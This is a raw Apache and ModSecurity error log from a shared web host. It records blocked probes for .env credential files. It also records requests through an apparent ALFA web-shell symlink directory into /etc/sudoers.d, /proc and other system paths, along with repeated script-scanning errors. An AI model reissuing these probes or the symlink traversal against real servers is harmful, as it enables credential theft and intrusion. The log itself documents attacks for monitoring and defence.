[Sat Oct 24 20:26:23.408447 2026] [security2:error] [pid 2677776:tid 2677776] [client 149.102.244.99:62808] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at1Mr2ZJIyiQiKFtr2-84gAAABU"]
[Sat Oct 24 20:26:23.408679 2026] [security2:error] [pid 2677776:tid 2677776] [client 149.102.244.99:62808] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at1Mr2ZJIyiQiKFtr2-84gAAABU"]
[Sat Oct 24 20:26:23.550914 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.prod.local"] [unique_id "at1Mr3xUk1Q9Uwuht9UEVQAAAAE"]
[Sat Oct 24 20:26:23.551116 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.prod.local"] [unique_id "at1Mr3xUk1Q9Uwuht9UEVQAAAAE"]
[Sat Oct 24 20:26:23.551486 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.prod.local"] [unique_id "at1Mr3xUk1Q9Uwuht9UEVQAAAAE"]
[Sat Oct 24 20:26:23.581109 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at1Mr93lMH_Ldre-PZttpgAAACk"]
[Sat Oct 24 20:26:23.581306 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at1Mr93lMH_Ldre-PZttpgAAACk"]
[Sat Oct 24 20:26:23.581894 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at1Mr93lMH_Ldre-PZttpgAAACk"]
[Sat Oct 24 20:26:23.587362 2026] [security2:error] [pid 2677776:tid 2677776] [client 149.102.244.99:62808] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.sample"] [unique_id "at1Mr2ZJIyiQiKFtr2-84wAAABU"]
[Sat Oct 24 20:26:23.587529 2026] [security2:error] [pid 2677776:tid 2677776] [client 149.102.244.99:62808] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.sample"] [unique_id "at1Mr2ZJIyiQiKFtr2-84wAAABU"]
[Sat Oct 24 20:26:23.587767 2026] [security2:error] [pid 2677776:tid 2677776] [client 149.102.244.99:62808] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.sample"] [unique_id "at1Mr2ZJIyiQiKFtr2-84wAAABU"]
[Sat Oct 24 20:26:23.761582 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "at1Mr93lMH_Ldre-PZttpwAAACk"]
[Sat Oct 24 20:26:23.761813 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "at1Mr93lMH_Ldre-PZttpwAAACk"]
[Sat Oct 24 20:26:23.762155 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "at1Mr93lMH_Ldre-PZttpwAAACk"]
[Sat Oct 24 20:26:29.819293 2026] [core:crit] [pid 2731641:tid 2731641] (13)Permission denied: [client 16.216.88.253:28672] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/' is executable
[Sat Oct 24 20:26:29.845540 2026] [core:crit] [pid 2731641:tid 2731641] (13)Permission denied: [client 16.216.88.253:28672] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/' is executable
[Sat Oct 24 20:26:29.862555 2026] [core:crit] [pid 2731641:tid 2731641] (13)Permission denied: [client 16.216.88.253:28672] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/' is executable
[Sat Oct 24 20:26:29.929892 2026] [core:crit] [pid 2731641:tid 2731641] (13)Permission denied: [client 16.216.88.253:28672] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/' is executable
[Sat Oct 24 20:26:29.937092 2026] [core:crit] [pid 2731641:tid 2731641] (13)Permission denied: [client 16.216.88.253:28672] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/' is executable
[Sat Oct 24 20:26:29.937648 2026] [core:crit] [pid 2731641:tid 2731641] (13)Permission denied: [client 16.216.88.253:28672] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/' is executable
[Sat Oct 24 20:26:29.945101 2026] [core:crit] [pid 2731641:tid 2731641] (13)Permission denied: [client 16.216.88.253:28672] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/' is executable
[Sat Oct 24 20:26:30.062920 2026] [core:crit] [pid 2731641:tid 2731641] (13)Permission denied: [client 16.216.88.253:28672] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/' is executable
[Sat Oct 24 20:26:30.176501 2026] [core:crit] [pid 2731641:tid 2731641] (13)Permission denied: [client 16.216.88.253:28672] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/' is executable
[Sat Oct 24 20:26:30.197621 2026] [security2:error] [pid 2731642:tid 2731642] [client 3.235.215.92:45298] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/wakeup/wakeup3/subsystem/wakeup0/subsystem/wakeup8/"] [unique_id "at1MtjWP0gsscAJ82TyVBAAAAAc"]
[Sat Oct 24 20:26:30.197664 2026] [security2:error] [pid 2731642:tid 2731642] [client 3.235.215.92:45298] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/wakeup/wakeup3/subsystem/wakeup0/subsystem/wakeup8/"] [unique_id "at1MtjWP0gsscAJ82TyVBAAAAAc"]
[Sat Oct 24 20:26:42.171940 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 52.44.148.203:58424] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:26:54.191443 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.235.191.179:39049] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:26:58.214459 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.3.102.51:31135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:27:01.640963 2026] [authz_core:error] [pid 2693035:tid 2693035] [client 20.53.239.152:6138] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 20:27:02.218315 2026] [ssl:error] [pid 2731643:tid 2731643] (70014)End of file found: [client 34.206.212.24:41863] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:27:09.439808 2026] [cgi:error] [pid 2693035:tid 2693035] [client 20.53.239.152:6138] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sat Oct 24 20:27:09.838998 2026] [security2:error] [pid 2693035:tid 2693035] [client 20.53.239.152:6138] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/wp-admin/images/"] [unique_id "at1M3d3lMH_Ldre-PZtt0QAAACk"]
[Sat Oct 24 20:27:09.839044 2026] [security2:error] [pid 2693035:tid 2693035] [client 20.53.239.152:6138] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/wp-admin/images/"] [unique_id "at1M3d3lMH_Ldre-PZtt0QAAACk"]
[Sat Oct 24 20:27:18.167121 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 54.86.59.155:16316] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:27:22.398696 2026] [ssl:error] [pid 2731642:tid 2731642] (70014)End of file found: [client 18.209.201.119:36601] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:27:30.150281 2026] [ssl:error] [pid 2731643:tid 2731643] (70014)End of file found: [client 52.6.97.88:32910] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:27:34.175910 2026] [ssl:error] [pid 2731641:tid 2731641] (70014)End of file found: [client 54.85.7.119:29551] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:27:56.890781 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.203:24974] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/objects
[Sat Oct 24 20:28:10.162390 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.230.224.6:19941] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:28:14.547624 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 3.232.102.111:9748] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:28:14.547852 2026] [security2:error] [pid 2731612:tid 2731612] [client 3.232.102.111:9748] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/usb1/serial"] [unique_id "at1NHkBkaIab1Zyjz6CU2AAAAAU"]
[Sat Oct 24 20:28:14.547895 2026] [security2:error] [pid 2731612:tid 2731612] [client 3.232.102.111:9748] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/usb1/serial"] [unique_id "at1NHkBkaIab1Zyjz6CU2AAAAAU"]
[Sat Oct 24 20:28:18.141917 2026] [ssl:error] [pid 2731642:tid 2731642] (70014)End of file found: [client 23.23.103.31:11699] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:28:22.173934 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.236.185.101:36652] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:28:26.471384 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.215.221.125:26754] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:28:34.191788 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 34.206.212.24:60416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:28:42.170028 2026] [ssl:error] [pid 2731610:tid 2731610] (70014)End of file found: [client 52.6.5.24:56837] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:28:46.162608 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 44.212.131.50:56854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/console/subsystem/ttyS2/uartclk
[Sat Oct 24 20:28:50.198700 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 44.212.131.50:42268] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:28:55.116211 2026] [core:error] [pid 2731643:tid 2731643] (13)Permission denied: [client 185.191.171.7:40776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm_intel/sections/__param
[Sat Oct 24 20:29:02.189731 2026] [ssl:error] [pid 2731644:tid 2731644] (70014)End of file found: [client 44.193.102.198:39722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:29:22.323312 2026] [ssl:error] [pid 2731643:tid 2731643] (70014)End of file found: [client 54.83.240.58:40630] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:29:27.181125 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:27.589459 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:27.952756 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:28.341088 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:28.726901 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:29.091309 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:29.469498 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:29.908955 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:30.189086 2026] [ssl:error] [pid 2731610:tid 2731610] (70014)End of file found: [client 52.44.174.136:7547] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:29:30.672665 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:31.285741 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:32.378279 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:33.243300 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:33.935746 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:34.311608 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:34.706866 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:34.890312 2026] [security2:error] [pid 2731644:tid 2731644] [client 20.194.17.163:11539] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/index/function.php"] [unique_id "at1NbtrOcez6-UVc28yZqwAAAAk"]
[Sat Oct 24 20:29:34.890387 2026] [security2:error] [pid 2731644:tid 2731644] [client 20.194.17.163:11539] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/index/function.php"] [unique_id "at1NbtrOcez6-UVc28yZqwAAAAk"]
[Sat Oct 24 20:29:35.468496 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:35.846784 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:36.237087 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:36.712576 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:37.089272 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:37.489314 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:37.860756 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:38.347224 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:38.743924 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:39.113594 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:39.510510 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:39.876797 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:40.251149 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:40.637993 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:41.043449 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:41.434004 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:41.898611 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:42.293952 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:42.668250 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:43.078401 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:43.466680 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:43.847859 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:44.441922 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:44.817145 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:45.182962 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:45.600986 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:45.983252 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:46.363420 2026] [ssl:error] [pid 2731643:tid 2731643] (70014)End of file found: [client 107.20.25.33:45861] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:29:46.389957 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:46.761785 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:47.130549 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:47.494188 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:47.859463 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:48.287434 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:48.905767 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
